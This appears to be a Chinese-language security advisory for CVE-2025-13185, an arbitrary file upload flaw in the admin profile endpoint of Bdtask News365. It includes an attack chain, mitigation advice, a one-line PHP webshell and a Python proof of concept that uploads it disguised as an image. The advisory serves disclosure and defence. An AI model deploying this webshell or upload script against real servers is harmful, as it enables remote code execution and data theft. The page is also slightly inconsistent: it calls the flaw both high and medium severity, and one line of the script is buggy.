IPBUF安全漏洞报告
English
CVE-2025-13185 CVSS 4.7 中危

CVE-2025-13185 Bdtask News365 任意文件上传漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-13185
漏洞类型
任意文件上传
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Bdtask/CodeCanyon News365 <= 7.0.3

相关标签

任意文件上传CVE-2025-13185News365BdtaskCodeCanyonWebShell远程代码执行中危漏洞管理员权限无限制上传

漏洞概述

CVE-2025-13185是Bdtask/CodeCanyon开发的News365新闻管理系统中的一个高危安全漏洞。该漏洞存在于管理员个人资料更新功能中,具体位于/admin/dashboard/profile端点。攻击者可以通过该接口利用profile_image和banner_image参数上传恶意文件,由于系统缺乏充分的文件类型验证和安全检查,攻击者可以上传任意类型的文件,包括WebShell脚本,从而实现远程代码执行。漏洞的CVSS评分为4.7,属于中危级别。攻击虽然需要管理员权限,但一旦被利用,攻击者可以完全控制受影响的Web服务器。该漏洞已公开披露,可能已被在野利用。由于厂商未对此前披露做出回应,因此目前可能仍无官方补丁。用户应立即采取防护措施,避免使用受影响版本,或实施严格的访问控制和文件上传验证机制。

技术细节

该漏洞属于无限制文件上传(Unrestricted File Upload)类型,问题出在News365系统的用户资料更新功能中。系统在接受用户上传的头像(profile_image)和横幅图片(banner_image)时,未对上传文件的MIME类型、文件扩展名和文件内容进行充分验证。攻击者首先需要获取管理员账户权限,然后构造恶意请求,将包含PHP代码的WebShell文件伪装成图片格式上传到服务器。上传成功后,攻击者可以通过访问上传文件路径来执行任意系统命令。例如,攻击者可以上传一个包含<?php system($_GET['cmd']); ?>的PHP文件,然后通过URL参数执行系统命令。由于该漏洞可通过网络远程利用(AV:N),且已有公开的利用代码发布,因此风险等级较高。建议管理员立即限制文件上传功能的使用,并实施白名单机制,仅允许上传安全的图片格式。

攻击链分析

STEP 1
步骤1
攻击者获取News365系统的管理员账户凭据
STEP 2
步骤2
攻击者构造包含恶意PHP代码的WebShell文件
STEP 3
步骤3
通过/admin/dashboard/profile接口的profile_image或banner_image参数上传WebShell
STEP 4
步骤4
系统未验证文件类型和内容,直接保存恶意文件到服务器
STEP 5
步骤5
攻击者访问上传的WebShell文件路径,通过cmd参数执行系统命令
STEP 6
步骤6
攻击者获取服务器完全控制权,可执行任意代码、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13185 PoC - Bdtask News365 Unrestricted File Upload import requests import sys target_url = input("Enter target URL: ") # WebShell content to upload webshell_content = "<?php system($_GET['cmd']); ?>" # Prepare the malicious file files = { 'profile_image': ('shell.php', webshell_content, 'image/jpeg') } # Authentication (requires admin privileges) cookies = { 'session_cookie': 'your_admin_session_here' } try: # Send the malicious upload request response = requests.post( f"{target_url}/admin/dashboard/profile", files=files, cookies=cookies, timeout=10 ) if response.status_code == 200: print("[+] File uploaded successfully!") print("[+] Access the shell at: {}/uploads/profile/shell.php?cmd=whoami") else: print("[-] Upload failed!") except requests.RequestException as e: print(f"[-] Error: {e}")

影响范围

Bdtask/CodeCanyon News365 <= 7.0.3

防御指南

临时缓解措施
立即限制文件上传功能的使用,临时关闭头像和横幅图片上传功能。配置Web服务器(如Nginx/Apache)禁止上传目录执行PHP等脚本文件。使用WAF(Web应用防火墙)规则拦截异常的文件上传请求。实施严格的访问控制,确保只有受信任的管理员才能访问/admin/dashboard/profile接口。监控服务器日志,关注异常的文件上传和访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表